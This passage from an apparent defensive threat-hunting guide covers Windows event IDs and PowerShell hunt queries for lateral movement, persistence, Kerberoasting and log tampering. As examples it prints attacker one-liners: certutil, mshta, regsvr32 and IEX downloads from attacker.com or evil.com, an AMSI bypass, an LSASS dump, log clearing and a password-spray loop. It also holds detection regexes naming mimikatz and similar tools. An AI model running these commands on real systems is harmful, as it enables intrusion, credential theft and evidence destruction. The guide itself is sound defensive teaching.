($x.Event.EventData.Data | Where-Object Name -eq &#39;TargetUserName&#39;).&#39;#text&#39;<br>      SourceIP  = ($x.Event.EventData.Data | Where-Object Name -eq &#39;IpAddress&#39;).&#39;#text&#39;<br>      SubStatus = ($x.Event.EventData.Data | Where-Object Name -eq &#39;SubStatus&#39;).&#39;#text&#39;<br>    }<br>  }<br>$fails | Where-Object SubStatus -eq &#39;0xc000006a&#39; |<br>  Group-Object SourceIP |<br>  Where-Object { ($_.Group.User | Select-Object -Unique).Count -ge 5 } |<br>  Select-Object Name, @{n=&#39;UniqueTargets&#39;;e={($_.Group.User|Select-Object -Unique).Count}}, Count</pre><h3>#2 — Event ID 4688: Process Creation</h3><p><strong>Log:</strong> Security.evtx | <strong>Subcategory:</strong> Process Creation (success)</p><p>Every program that executes on a Windows machine generates a 4688 event. With command-line capture enabled (see baseline above), this is the primary record of what attackers actually <em>ran</em>. LOLBin abuse, encoded PowerShell, lateral movement tools, persistence installers — all of them appear here.</p><h3>The Fields That Matter</h3><pre>New Process Name:     C:\Windows\System32\powershell.exe<br>Process Command Line: powershell.exe -nop -w hidden -enc SQBFAFgA...  ← THE critical field<br>Creator Process Name: C:\Program Files\Microsoft Office\WINWORD.EXE   ← Parent process<br>Subject Account Name: john.smith                                        ← Who ran it<br>Token Elevation Type:<br>  TokenElevationTypeDefault (1) = Standard token<br>  TokenElevationTypeFull    (2) = Full admin/UAC elevated               ← Escalation indicator<br>  TokenElevationTypeLimited (3) = Filtered admin token (standard UAC)</pre><h3>Malicious Parent → Child Process Relationships</h3><p>The <em>parent process</em> is often more indicative than the child. Legitimate programs have predictable children; malware does not:</p><pre>Parent               → Child             Why it&#39;s suspicious<br>─────────────────────────────────────────────────────────────────────────────────<br>WINWORD.EXE          → powershell.exe   Office macro executing PS (phishing)<br>EXCEL.EXE            → cmd.exe          Macro-based payload delivery<br>ACROWRD32.EXE        → cmd.exe          PDF exploit or macro<br>WmiPrvSE.exe         → powershell.exe   WMI-based lateral movement (T1047)<br>svchost.exe          → cmd.exe          Service-based remote execution (PsExec)<br>mshta.exe            → powershell.exe   HTA file executing PS (T1218.005)<br>explorer.exe         → mshta.exe        Direct HTA launch from desktop<br>wscript.exe          → powershell.exe   VBScript / JScript dropper<br>cmd.exe              → certutil.exe     Download via certutil (T1105)<br>cmd.exe              → bitsadmin.exe    Background download via BITS</pre><h3>2026 LOLBin Reality Check</h3><p><strong>79% of all attack detections in 2024 involved zero custom malware</strong> (CrowdStrike 2025 Global Threat Report). Attackers use binaries already on the machine:</p><pre>:: certutil — download + decode (used in 2025 PipeMagic/CVE-2025-29824 campaign)<br>certutil.exe -urlcache -split -f http://attacker.com/payload.b64 stage.b64<br>certutil.exe -decode stage.b64 payload.exe<br><br>:: mshta - execute remote HTA script, nothing written to disk<br>mshta.exe http://attacker.com/stage2.hta<br>mshta.exe vbscript:Execute(&quot;CreateObject(&quot;&quot;Wscript.Shell&quot;&quot;).Run &quot;&quot;cmd /c whoami&quot;&quot;,0,True&quot;)<br><br>:: regsvr32 Squiblydoo - bypasses AppLocker, still working in 2026<br>regsvr32.exe /s /n /u /i:http://attacker.com/payload.sct scrobj.dll<br><br>:: rundll32 - LSASS dump without any external tool (built-in comsvcs.dll)<br>rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump &lt;LSASS_PID&gt; C:\temp\lsass.dmp full<br><br>:: curl.exe + tar.exe - new in Windows 10+, EDR rules less mature<br>curl.exe -o C:\temp\payload.tar http://attacker.com/payload.tar<br>tar.exe -xf C:\temp\payload.tar -C C:\temp\<br><br>:: The January 2026 Remcos/NetSupport RAT full chain (Malwarebytes, zero custom malware):<br>:: forfiles → mshta → PowerShell → curl → tar → glaxnimate.exe → reg.exe (persistence)</pre><blockquote><strong><em>Note:</em></strong><em> If you have Sysmon installed, use </em><strong><em>Event ID 1</em></strong><em> (Process Create) instead of 4688. Sysmon Event 1 includes MD5/SHA256/IMPHASH hashes, parent command line, and GUID-based process tree tracking. It is harder to suppress via </em><em>auditpol manipulation than 4688.</em></blockquote><pre># Hunt: LOLBin abuse and encoded PowerShell (last 24 hours)<br>Get-WinEvent -FilterHashtable @{ LogName=&#39;Security&#39;; Id=4688; StartTime=(Get-Date).AddDays(-1) } |<br>  ForEach-Object {<br>    $x   = [xml]$_.ToXml()<br>    $cmd = ($x.Event.EventData.Data | Where-Object Name -eq &#39;CommandLine&#39;).&#39;#text&#39;<br>    $par = ($x.Event.EventData.Data | Where-Object Name -eq &#39;ParentProcessName&#39;).&#39;#text&#39;<br>    $new = ($x.Event.EventData.Data | Where-Object Name -eq &#39;NewProcessName&#39;).&#39;#text&#39;<br>    if ($cmd -match &#39;-enc\b|-e\s+[A-Za-z0-9+/]{20,}|DownloadString|IEX|certutil.*urlcache|mshta.*http|regsvr32.*scrobj|rundll32.*comsvcs&#39;) {<br>      [PSCustomObject]@{ Time=$_.TimeCreated; Parent=$par; Process=$new; Command=$cmd }<br>    }<br>  } | Format-List</pre><h3>#3 — Event IDs 4103 / 4104: PowerShell Module and Script Block Logging</h3><p><strong>Log:</strong> Microsoft-Windows-PowerShell/Operational | <strong>Default:</strong> Disabled</p><p>PowerShell is present in the majority of modern Windows intrusions. <strong>Event 4103</strong> captures module pipeline execution. <strong>Event 4104</strong> — Script Block Logging — captures the <em>full text</em> of every PowerShell script block as it executes, including <strong>automatically deobfuscated content</strong>. The PowerShell engine decodes the script before handing it to the logging subsystem. Attackers who use multi-layer obfuscation to evade AV still get logged in plaintext via 4104.</p><h3>Enable Script Block Logging</h3><p><strong>GPO (recommended for domain-joined systems):</strong></p><pre>Computer Configuration<br>  → Administrative Templates → Windows Components → Windows PowerShell<br>    → &quot;Turn on PowerShell Script Block Logging&quot;        = Enabled<br>    → &quot;Log script block invocation start/stop events&quot; = Enabled</pre><p><strong>Registry (standalone or automated deployment):</strong></p><pre>$p = &#39;HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging&#39;<br>New-Item $p -Force | Out-Null<br>Set-ItemProperty $p EnableScriptBlockLogging         1<br>Set-ItemProperty $p EnableScriptBlockInvocationLogging 1<br>$m = &#39;HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging&#39;<br>New-Item $m -Force | Out-Null<br>Set-ItemProperty $m EnableModuleLogging 1<br>New-Item &quot;$m\ModuleNames&quot; -Force | Out-Null<br>Set-ItemProperty &quot;$m\ModuleNames&quot; &#39;*&#39; &#39;*&#39;   # log all modules</pre><h3>Three Ways Attackers Try to Defeat Script Block Logging</h3><p><strong>Bypass 1: PowerShell Version 2 Downgrade</strong></p><pre>powershell -Version 2 -Command &quot;IEX (New-Object Net.WebClient).DownloadString(&#39;http://evil.com/rev.ps1&#39;)&quot;<br># PSv2 predates the ScriptBlock Logging provider — it does not generate 4104 events at all<br># Detection: Any PSv2 usage is anomalous on modern systems (PowerShell 5+ is default since Win10)<br># Mitigation: Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root</pre><p><strong>Bypass 2: AMSI Patching</strong></p><pre># Attacker disables Antimalware Scan Interface before running malicious code<br>[Ref].Assembly.GetType(&#39;System.Management.Automation.AmsiUtils&#39;).GetField(&#39;amsiInitFailed&#39;,&#39;NonPublic,Static&#39;).SetValue($null,$true)<br># Irony: 4104 logs the bypass attempt itself in plaintext — this is the indicator<br># The Elastic detection rule detects exactly this string pattern in script block content</pre><p><strong>Bypass 3: Registry Key Deletion</strong></p><pre>Remove-Item &#39;HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging&#39;<br># Detection: Event ID 4657 (registry value modified/deleted) on the SBL key<br># Combine SBL key watch with SIEM alerting for immediate notification</pre><h3>Hunt: Malicious Strings in Script Blocks</h3><pre>Get-WinEvent -FilterHashtable @{<br>  LogName=&#39;Microsoft-Windows-PowerShell/Operational&#39;; Id=4104; StartTime=(Get-Date).AddDays(-1)<br>} | Where-Object {<br>  $_.Message -match &#39;IEX|Invoke-Expression|DownloadString|WebClient|FromBase64String|amsiutils|amsiInitFailed|sekurlsa|mimikatz|Invoke-Mimikatz|Invoke-ReflectivePEInjection|Invoke-Shellcode|ConvertTo-SecureString.*AsPlainText|Net.Sockets.TCPClient&#39;<br>} | Select-Object TimeCreated,<br>  @{n=&#39;Preview&#39;;e={$_.Message.Substring(0,[Math]::Min(400,$_.Message.Length))}} |<br>  Format-List</pre><h3>#4 — Event IDs 4698 / 4702: Scheduled Task Created / Modified</h3><p><strong>Log:</strong> Security.evtx | <strong>Subcategory:</strong> Other Object Access Events</p><p>Scheduled tasks (MITRE T1053.005) are one of the most common persistence mechanisms used in real-world intrusions. They survive reboots, can run as SYSTEM, and the full task XML is embedded directly in the event — giving you exactly what will execute and when.</p><h3>Reading the TaskContent XML Field</h3><p>This is the most important field. The entire task definition is here:</p><pre>&lt;!-- Attacker-created persistence task — every red flag present --&gt;<br>&lt;Task&gt;<br>  &lt;Triggers&gt;<br>    &lt;BootTrigger/&gt; &lt;!-- Runs on every boot — not a scheduled job --&gt;<br>  &lt;/Triggers&gt;<br>  &lt;Actions&gt;<br>    &lt;Exec&gt;<br>      &lt;Command&gt;powershell.exe&lt;/Command&gt;<br>      &lt;Arguments&gt;-nop -w hidden -enc SQBFAFgAIAAo...&lt;/Arguments&gt;  &lt;!-- Base64 payload --&gt;<br>    &lt;/Exec&gt;<br>  &lt;/Actions&gt;<br>  &lt;Principals&gt;<br>    &lt;Principal&gt;<br>      &lt;RunLevel&gt;HighestAvailable&lt;/RunLevel&gt;  &lt;!-- UAC elevated --&gt;<br>      &lt;UserId&gt;S-1-5-18&lt;/UserId&gt;             &lt;!-- SYSTEM — highest possible --&gt;<br>    &lt;/Principal&gt;<br>  &lt;/Principals&gt;<br>  &lt;RegistrationInfo&gt;<br>    &lt;Date&gt;2026-03-14T02:31:00&lt;/Date&gt;       &lt;!-- Created at 2:31 AM --&gt;<br>    &lt;Author&gt;CONTOSO\john.smith&lt;/Author&gt;    &lt;!-- Regular user creating SYSTEM task --&gt;<br>  &lt;/RegistrationInfo&gt;<br>&lt;/Task&gt;</pre><h3>Red Flag Checklist for Task Events</h3><pre>✗ Command = powershell / cmd / wscript / mshta / rundll32 / regsvr32 / msiexec<br>✗ Arguments contain -enc, -nop, -w hidden, DownloadString, http://, base64 strings<br>✗ RunLevel = HighestAvailable (UAC elevated) or LUA<br>✗ UserId = S-1-5-18 (SYSTEM) or S-1-5-19 (Local Service) or S-1-5-20 (Network Service)<br>✗ Trigger = BootTrigger or LogonTrigger (persistence) vs. scheduled work triggers<br>✗ Task path NOT under \Microsoft\Windows\ (legitimate Microsoft tasks live there)<br>✗ Task created by a non-admin account<br>✗ Task created outside business hours<br>✗ 4699 (task deleted) follows 4697 (task created) within seconds = execute-and-erase</pre><h3>Correlate with System Log: Event 7045</h3><p>PsExec installs itself as a service named PSEXESVC before executing remote commands. This generates:</p><ul><li><strong>Security 4697:</strong> Service installed (includes who installed it from the remote SMB session)</li><li><strong>System 7045:</strong> New service installed (same info, different log — defenders often watch System separately)</li></ul><pre># Hunt: Scheduled tasks with attacker-associated executables (last 7 days)<br>Get-WinEvent -FilterHashtable @{ LogName=&#39;Security&#39;; Id=@(4698,4702); StartTime=(Get-Date).AddDays(-7) } |<br>  ForEach-Object {<br>    $x    = [xml]$_.ToXml()<br>    $name = ($x.Event.EventData.Data | Where-Object Name -eq &#39;TaskName&#39;).&#39;#text&#39;<br>    $xml  = ($x.Event.EventData.Data | Where-Object Name -eq &#39;TaskContent&#39;).&#39;#text&#39;<br>    $user = ($x.Event.EventData.Data | Where-Object Name -eq &#39;SubjectUserName&#39;).&#39;#text&#39;<br>    if ($xml -match &#39;powershell|cmd\.exe|wscript|mshta|rundll32|regsvr32|certutil|bitsadmin|-enc|-nop|-w hidden|http://|https://&#39;) {<br>      [PSCustomObject]@{ Time=$_.TimeCreated; EventID=$_.Id; Task=$name; Creator=$user<br>        ContentPreview=$xml.Substring(0,[Math]::Min(300,$xml.Length)) }<br>    }<br>  } | Format-List</pre><h3>#5 — Event IDs 4720 / 4728 / 4732: Account and Privileged Group Changes</h3><p><strong>Log:</strong> Security.evtx | <strong>Subcategories:</strong> User Account Management + Security Group Management</p><p>Creating a backdoor account or adding an attacker-controlled account to Domain Admins is the most common post-exploitation persistence technique in Active Directory environments.</p><h3>The Full Backdoor Sequence in Event Logs</h3><p>A real attacker account-creation sequence takes about 5 seconds and generates exactly this chain:</p><pre>02:31:14  4720  &#39;svc_backup2&#39; account created         — by CONTOSO\Administrator<br>02:31:14  4722  &#39;svc_backup2&#39; account enabled<br>02:31:15  4723  Password set for &#39;svc_backup2&#39;<br>02:31:15  4728  &#39;svc_backup2&#39; added to &#39;Domain Admins&#39; — by CONTOSO\Administrator<br>02:31:17  4624  Logon Type 3: &#39;svc_backup2&#39; authenticates from 10.10.10.55<br>02:31:18  4672  Special privileges assigned to &#39;svc_backup2&#39; (SeDebugPrivilege, etc.)</pre><p>Five events, five seconds, 2:31 AM — this is a confirmed intrusion. An automated alert on any 4728/4732 addition to privileged groups outside business hours + outside known admin accounts should be a non-negotiable SIEM rule.</p><pre># Hunt: Any account added to privileged groups (last 30 days)<br>$privGroups = @(&#39;Domain Admins&#39;,&#39;Enterprise Admins&#39;,&#39;Schema Admins&#39;,&#39;Administrators&#39;,&#39;Remote Desktop Users&#39;)<br>Get-WinEvent -FilterHashtable @{ LogName=&#39;Security&#39;; Id=@(4728,4732,4756); StartTime=(Get-Date).AddDays(-30) } |<br>  ForEach-Object {<br>    $x      = [xml]$_.ToXml()<br>    $group  = ($x.Event.EventData.Data | Where-Object Name -eq &#39;TargetUserName&#39;).&#39;#text&#39;<br>    $member = ($x.Event.EventData.Data | Where-Object Name -eq &#39;MemberName&#39;).&#39;#text&#39;<br>    $by     = ($x.Event.EventData.Data | Where-Object Name -eq &#39;SubjectUserName&#39;).&#39;#text&#39;<br>    if ($privGroups -contains $group) {<br>      [PSCustomObject]@{ Time=$_.TimeCreated; EventID=$_.Id; Group=$group; AddedMember=$member; AddedBy=$by }<br>    }<br>  } | Sort-Object Time | Format-Table -AutoSize</pre><h3>#6 — Event IDs 1102 / 104 / 4719: Log Cleared and Audit Policy Disabled</h3><p><strong>Log:</strong> Security.evtx (1102) and System.evtx (104) | <strong>Always fires regardless of audit settings</strong></p><p>These events are <strong>anti-forensics indicators</strong>. They tell you an attacker is actively covering their tracks.</p><h3>Event 1102 — Security Log Cleared</h3><p>1102 is special: it is hardcoded into the Windows Event Log service. It fires even if all auditing is disabled. You cannot suppress 1102 without disabling the event log service itself.</p><pre>Event 1102 fields:<br>  Subject Account Name:  john.smith          ← who cleared the log<br>  Subject Logon ID:      0x3E4F2A            ← correlate with 4624 to get source machine<br>  Time:                  2026-03-14 02:47:33 ← 2:47 AM<br>Message: &quot;The audit log was cleared.&quot;</pre><p>There is no legitimate reason for a non-IT account to clear the Security event log at 2:47 AM. A single 1102 from an unexpected account is grounds for immediate incident response.</p><p><strong>Event 104</strong> is the System log equivalent. Some attackers clear System.evtx separately to remove service installation evidence (7045).</p><h3>The wevtutil Method</h3><p>Attackers almost never use Event Viewer to clear logs. They use:</p><pre>wevtutil cl Security<br>wevtutil cl System<br>wevtutil cl &quot;Windows PowerShell&quot;<br>:: Or in PowerShell:<br>Clear-EventLog -LogName Security</pre><p>The wevtutil cl command generates a 4688 process creation event before the 1102 log-cleared event. In a SIEM you can correlate: wevtutil.exe with argument cl → immediately followed by → 1102.</p><h3>Event 4719 — System Audit Policy Changed</h3><pre>4719 tells you:<br>  Subcategory:       Process Creation       ← attacker disabling process tracking<br>  Audit Policy Change: Success removed       ← stripping success auditing<br>  Change Type:       Removed<br>Typical attack sequence:<br>  1. auditpol /set /subcategory:&quot;Process Creation&quot; /success:disable   (4719 fires)<br>  2. Run Mimikatz, credential dumpers, lateral movement tools          (zero 4688 events generated)<br>  3. auditpol /set /subcategory:&quot;Process Creation&quot; /success:enable    (4719 fires again)<br>  Net result: a gap in 4688 logs during the attack window with no obvious explanation</pre><blockquote><strong><em>Critical architectural point:</em></strong><em> If you ship logs to a SIEM in real-time, 1102 is a notification, not a loss — the events already left the machine. If you are NOT forwarding logs, a cleared local log with no SIEM copy means you have nothing for incident response. </em><strong><em>This is the single strongest argument for immediate SIEM deployment.</em></strong></blockquote><h3>#7 — Event IDs 4768 / 4769 / 4771: Kerberos Authentication (Domain Controllers Only)</h3><p><strong>Log:</strong> Security.evtx on <strong>Domain Controllers only</strong> | <strong>Subcategories:</strong> Kerberos Authentication Service + Kerberos Service Ticket Operations</p><p>These events expose the highest-impact Active Directory attacks: Kerberoasting, AS-REP Roasting, and Golden Ticket forgery. They only exist on Domain Controllers — collect DC logs centrally.</p><h3>How Kerberos Ticket Encryption Creates the Attack Surface</h3><p>When a domain user requests access to a service (SQL server, file share, web app), they receive a TGS ticket from the KDC. That ticket is <strong>encrypted with the NTLM hash of the service account’s password</strong>. Any authenticated domain user can request this ticket. Take it offline. Crack it. No failed auth. No lockout. No noise — except in these event logs.</p><h3>Kerberoasting Detection via Event 4769</h3><pre>Kerberoasting signature in Event 4769:<br>TicketEncryptionType: 0x17  ← RC4-HMAC (WEAK - cracks in hours on GPU)<br>                               Modern environments default to 0x12 (AES-256)<br>                               Any RC4 TGS request is anomalous if AES is enforced by policy<br>  ServiceName: sql_svc         ← NOT a computer account (no $ suffix)<br>                               NOT krbtgt<br>                               A named service account = attack target<br>  FailureCode: 0x0             ← Success - the ticket WAS issued and taken by the attacker<br>  ClientAddress: 10.10.10.55   ← Workstation IP (not the DC, not the service host)<br>Bulk Kerberoasting: 50+ TGS requests in under 1 minute (Rubeus /kerberoast)<br>Targeted (slow): 1 TGS request for 1 account - much harder to detect without behavioral baseline</pre><h3>AS-REP Roasting Detection via Event 4768</h3><p>Accounts with <strong>“Do not require Kerberos preauthentication”</strong> enabled can be attacked without any credentials. An attacker sends an unauthenticated AS-REQ and receives encrypted material to crack offline.</p><pre>AS-REP Roasting signature in Event 4768:<br>  PreAuthType: 0    ← Pre-authentication was NOT performed (dangerous flag set on account)<br>  ResultCode: 0x0   ← Success — AS-REP with crackable content issued<br>Mitigation: Audit and remove the no-preauth flag from all accounts except legacy apps that require it<br>  Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} | Select SamAccountName, DistinguishedName</pre><h3>Golden Ticket Detection</h3><p>A Golden Ticket is a forged TGT signed with the krbtgt account&#39;s NTLM hash. When used, the forged TGT requests service tickets (4769 events) — but the KDC never issued the TGT itself (no corresponding 4768). This mismatch is the key signal:</p><pre>Golden Ticket indicators in 4769 events:<br>  Account Domain:  Empty string OR uppercase FQDN    ← different from legitimate ticket format<br>  Ticket Options:  0x40800010                        ← non-standard flags in forged tickets<br>  Many 4769 events for same account across many services in rapid succession<br>  Source IP not matching user&#39;s normal workstation<br>SIEM correlation rule:<br>  ALERT: 4769 service ticket for account X WHERE no 4768 TGT was issued for X in same session</pre><pre># Hunt: RC4 TGS requests (Kerberoasting indicator)<br>Get-WinEvent -FilterHashtable @{ LogName=&#39;Security&#39;; Id=4769; StartTime=(Get-Date).AddDays(-7) } |<br>  ForEach-Object {<br>    $x   = [xml]$_.ToXml()<br>    $enc = ($x.Event.EventData.Data | Where-Object Name -eq &#39;TicketEncryptionType&#39;).&#39;#text&#39;<br>    $svc = ($x.Event.EventData.Data | Where-Object Name -eq &#39;ServiceName&#39;).&#39;#text&#39;<br>    $ip  = ($x.Event.EventData.Data | Where-Object Name -eq &#39;IpAddress&#39;).&#39;#text&#39;<br>    $usr = ($x.Event.EventData.Data | Where-Object Name -eq &#39;TargetUserName&#39;).&#39;#text&#39;<br>    # RC4 = 0x17 | service account (no $ suffix, not krbtgt) | successful ticket<br>    if ($enc -eq &#39;0x17&#39; -and $svc -notmatch &#39;\$&#39; -and $svc -ne &#39;krbtgt&#39;) {<br>      [PSCustomObject]@{ Time=$_.TimeCreated; User=$usr; Service=$svc; Encryption=$enc; Source=$ip }<br>    }<br>  } | Format-Table -AutoSize</pre><blockquote><strong><em>Remediation priority:</em></strong><em> Deploy </em><strong><em>Group Managed Service Accounts (gMSA)</em></strong><em> for any service account that supports it. gMSA passwords are 120 characters, automatically rotated by Windows, and never known to any human — eliminating Kerberoasting entirely for those accounts.</em></blockquote><h3>#8 — Event ID 4648: Explicit Credentials Used</h3><p><strong>Log:</strong> Security.evtx | <strong>Subcategory:</strong> Logon</p><p>Event 4648 fires when a process authenticates using credentials <em>different</em> from the currently logged-on user. This is the fingerprint of attacker credential-switching operations.</p><h3>What Generates 4648</h3><pre>Legitimate sources:<br>  - runas.exe with /user flag<br>  - Scheduled tasks running as a different account<br>  - IIS application pools authenticating to backends<br>  - Services authenticating to remote resources<br>Attacker sources:<br>  - Mimikatz sekurlsa::pth        → 4648 on source host + Logon Type 9 on target<br>  - Cobalt Strike make_token      → 4648 from beacon process<br>  - Rubeus /ptt (Pass-the-Ticket) → 4648 + Type 9<br>  - Impacket smbexec/wmiexec      → 4648 + Type 3 on target<br>  - net use \\server\share /user  → 4648 with cmd.exe as Process Name</pre><h3>Reading a Malicious 4648</h3><pre>Subject (the account doing the impersonation):<br>  Account Name:  john.smith         ← regular user...<br>  Logon ID:      0x1234AB<br>Account Whose Credentials Were Used:<br>  Account Name:  svc_deployer       ← ...suddenly using a service account<br>  Account Domain: CONTOSO<br>Target Server:<br>  Target Server Name: FILESERVER01  ← connecting to a remote server<br>  Additional Info:    cifs/FILESERVER01.contoso.com<br>Process Information:<br>  Process Name:  C:\Tools\lateral.exe   ← not a standard Windows tool<br>  Process ID:    0x5678</pre><p>The combination of:</p><ul><li>A non-service process (not svchost, lsass, services.exe)</li><li>Using credentials that differ from the subject account</li><li>Targeting a remote server</li></ul><p>…is a strong indicator of credential abuse.</p><pre># Hunt: 4648 where impersonating account ≠ subject account, non-system process<br>Get-WinEvent -FilterHashtable @{ LogName=&#39;Security&#39;; Id=4648; StartTime=(Get-Date).AddDays(-1) } |<br>  ForEach-Object {<br>    $x    = [xml]$_.ToXml()<br>    $subj = ($x.Event.EventData.Data | Where-Object Name -eq &#39;SubjectUserName&#39;).&#39;#text&#39;<br>    $tgt  = ($x.Event.EventData.Data | Where-Object Name -eq &#39;TargetUserName&#39;).&#39;#text&#39;<br>    $proc = ($x.Event.EventData.Data | Where-Object Name -eq &#39;ProcessName&#39;).&#39;#text&#39;<br>    $srv  = ($x.Event.EventData.Data | Where-Object Name -eq &#39;TargetServerName&#39;).&#39;#text&#39;<br>    if ($subj -ne $tgt -and $proc -notmatch &#39;svchost|lsass|services|WmiPrvSE|taskhost|SearchIndexer&#39;) {<br>      [PSCustomObject]@{ Time=$_.TimeCreated; Subject=$subj; ImpersonatedAs=$tgt; Process=$proc; Server=$srv }<br>    }<br>  } | Format-Table -AutoSize</pre><h3>#9 — Event IDs 4697 / 7045: Service Installation</h3><p><strong>Log:</strong> Security.evtx (4697) + System.evtx (7045) | <strong>Subcategory:</strong> Security System Extension</p><p>Service-based persistence (MITRE T1543.003) is powerful because services start automatically, run as SYSTEM, survive reboots, and are harder to spot than scheduled tasks in casual schtasks queries. PsExec, Impacket, and Cobalt Strike all leave service installation events.</p><h3>PsExec Lateral Movement Fingerprint</h3><p>When PsExec runs a command on a remote machine, it:</p><ol><li>Authenticates via SMB (→ 4624 Type 3 on target)</li><li>Copies PSEXESVC.exe to C:\Windows\ via SMB (→ 5140 on target if file auditing enabled)</li><li>Installs it as a service (→ <strong>4697 + 7045</strong> on target)</li><li>Starts the service which executes the command (→ <strong>4688</strong> child of psexesvc.exe)</li><li>On completion, deletes the service (→ <strong>4699</strong> on target)</li></ol><pre>4697 / 7045 fields for PsExec:<br>  Service Name:       PSEXESVC<br>  Service File Name:  %SystemRoot%\PSEXESVC.exe<br>  Service Start Type: Demand start        ← manual, not automatic<br>  Service Account:    LocalSystem         ← SYSTEM privileges<br>  Subject Account:    attacker            ← who installed it (from the SMB authentication)</pre><h3>Indicators of Malicious Service Installation</h3><pre>1. Binary path in user-writable or temp directories:<br>   C:\Users\john\AppData\Local\Temp\update.exe       ← never legitimate<br>   C:\ProgramData\MicrosoftUpdate\svc.exe<br>   C:\Windows\Temp\1234.exe<br>2. Binary is a network (UNC) path:<br>   \\attacker-host\share\payload.exe                  ← remote binary execution<br>3. Service binary is a script interpreter with inline command:<br>   C:\Windows\System32\cmd.exe /c powershell -enc ...<br>   C:\Windows\System32\mshta.exe http://evil.com/payload.hta<br>4. Service name mimics legitimate Windows services:<br>   WindowsSecurityHealth2      (note the appended digit)<br>   GoogleUpdateTaskMachine0    (legitimate GoogleUpdate is an EXE, not a service)<br>   svchost32 / svchost64       (real svchost.exe has no suffix)<br>5. Service created then immediately deleted (4697 → 4699 within seconds)<br>   This is the execute-and-erase pattern - the service ran once then cleaned itself up</pre><pre># Hunt: Services installed to temp/user directories or using scripting engines<br>Get-WinEvent -FilterHashtable @{ LogName=&#39;System&#39;; Id=7045; StartTime=(Get-Date).AddDays(-7) } |<br>  ForEach-Object {<br>    $x    = [xml]$_.ToXml()<br>    $name = ($x.Event.EventData.Data | Where-Object Name -eq &#39;ServiceName&#39;).&#39;#text&#39;<br>    $path = ($x.Event.EventData.Data | Where-Object Name -eq &#39;ImagePath&#39;).&#39;#text&#39;<br>    $acct = ($x.Event.EventData.Data | Where-Object Name -eq &#39;AccountName&#39;).&#39;#text&#39;<br>    if ($path -match &#39;Temp|AppData|ProgramData|\\Users\\|\\\\&#39; -or<br>        $path -match &#39;cmd\.exe|powershell|mshta|wscript|rundll32|regsvr32|certutil|bitsadmin&#39;) {<br>      [PSCustomObject]@{ Time=$_.TimeCreated; Service=$name; Path=$path; Account=$acct }<br>    }<br>  } | Format-Table -AutoSize</pre><h3>#10 — RDP Lateral Movement: Multi-Log Correlation</h3><p><strong>Logs:</strong> Multiple — Security.evtx, TerminalServices-LocalSessionManager, TerminalServices-RemoteConnectionManager, RdpCoreTS</p><p>RDP is used in nearly every intrusion that reaches the lateral movement phase. It provides interactive GUI access, stores credentials in memory (accessible to Mimikatz), and leaves traces across multiple dedicated log files that defenders often fail to correlate.</p><h3>The Complete RDP Event Map (Source vs. Target)</h3><pre>SOURCE MACHINE (machine the attacker connects FROM):<br>  Security.evtx<br>    4648  — Explicit credentials used (MSTSC.exe as Process Name)<br>  TerminalServices-RDPClient/Operational<br>    1024  — Target HOSTNAME recorded (matches RDP connection initiation)<br>    1102  — Target IP ADDRESS recorded<br>TARGET MACHINE (machine being connected TO - primary evidence location):<br>  Security.evtx<br>    4624  - Successful logon, Type 10 (RemoteInteractive = RDP)<br>    4624  - Type 7 for session reconnects/unlocks<br>    4672  - Special privileges if account is admin<br>    4778  - Session reconnected via Terminal Services<br>    4779  - Session disconnected<br>  TerminalServices-RemoteConnectionManager/Operational<br>    1149  - RDP network session established - records SOURCE IP + USERNAME<br>             ⚠ Note: 1149 can fire even on failed password attempts (network layer succeeded)<br>  TerminalServices-LocalSessionManager/Operational<br>    21    - Session LOGON succeeded - username + session ID + source IP recorded<br>    22    - Shell session started (actual desktop access confirmed)<br>    25    - Session RECONNECTED<br>    23    - Session logoff<br>    24    - Session disconnected (user X at session Y)<br>  Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational<br>    131   - Connection attempt - source IP recorded (even for failed attempts)<br>    98    - Successful RDP connection at the connection layer</pre><p><strong>Why Event 21 from TerminalServices-LocalSessionManager is the gold standard:</strong> Unlike Security.evtx which rolls over fast and can be cleared, the TerminalServices-LocalSessionManager log is dedicated to RDP, retains data longer, and records the source IP + username together. DFIR analysts at Expel and DFIR Spot both cite Event 21 as the first RDP log they check in any intrusion investigation.</p><p><strong>The local-vs-remote trap:</strong> If the Source IP in Event 21 shows LOCAL instead of an IP address, this is a <em>local</em> hands-on keyboard logon, not a remote connection. Always verify source IP before attributing to remote access.</p><h3>RDP Lateral Movement + Password Reuse: A Common Scenario</h3><pre>Common enterprise failure: Local Administrator account enabled on all workstations<br>with the same password (pre-LAPS environments).<br>Attack flow:<br>  1. Attacker compromises one workstation<br>  2. Dumps local SAM hashes (or finds plaintext in memory)<br>  3. Tests local admin credentials against all machines in subnet:<br>     for /f %i in (hosts.txt) do net use \\%i\ipc$ &quot;Password1!&quot; /user:Administrator<br>  4. Those that succeed → RDP laterally:<br>     mstsc /v:&lt;targetIP&gt;  [or use xfreerdp / rdesktop from Linux]<br>  5. Each RDP connection leaves 4624 Type 10 + Event 21 on target<br>  6. Source machine shows 4648 with MSTSC.exe as process<br>Fix: Deploy Microsoft LAPS (Local Administrator Password Solution)<br>  Every machine gets a unique random local admin password, stored in AD.<br>  If one machine is compromised, the local admin password doesn&#39;t work on any other machine.</pre><pre># Hunt: All RDP logons (Type 10) in last 7 days<br>Get-WinEvent -FilterHashtable @{ LogName=&#39;Security&#39;; Id=4624; StartTime=(Get-Date).AddDays(-7) } |<br>  ForEach-Object {<br>    $x    = [xml]$_.ToXml()<br>    $type = ($x.Event.EventData.Data | Where-Object Name -eq &#39;LogonType&#39;).&#39;#text&#39;<br>    if ($type -eq &#39;10&#39;) {<br>      $user = ($x.Event.EventData.Data | Where-Object Name -eq &#39;TargetUserName&#39;).&#39;#text&#39;<br>      $src  = ($x.Event.EventData.Data | Where-Object Name -eq &#39;IpAddress&#39;).&#39;#text&#39;<br>      [PSCustomObject]@{ Time=$_.TimeCreated; User=$user; 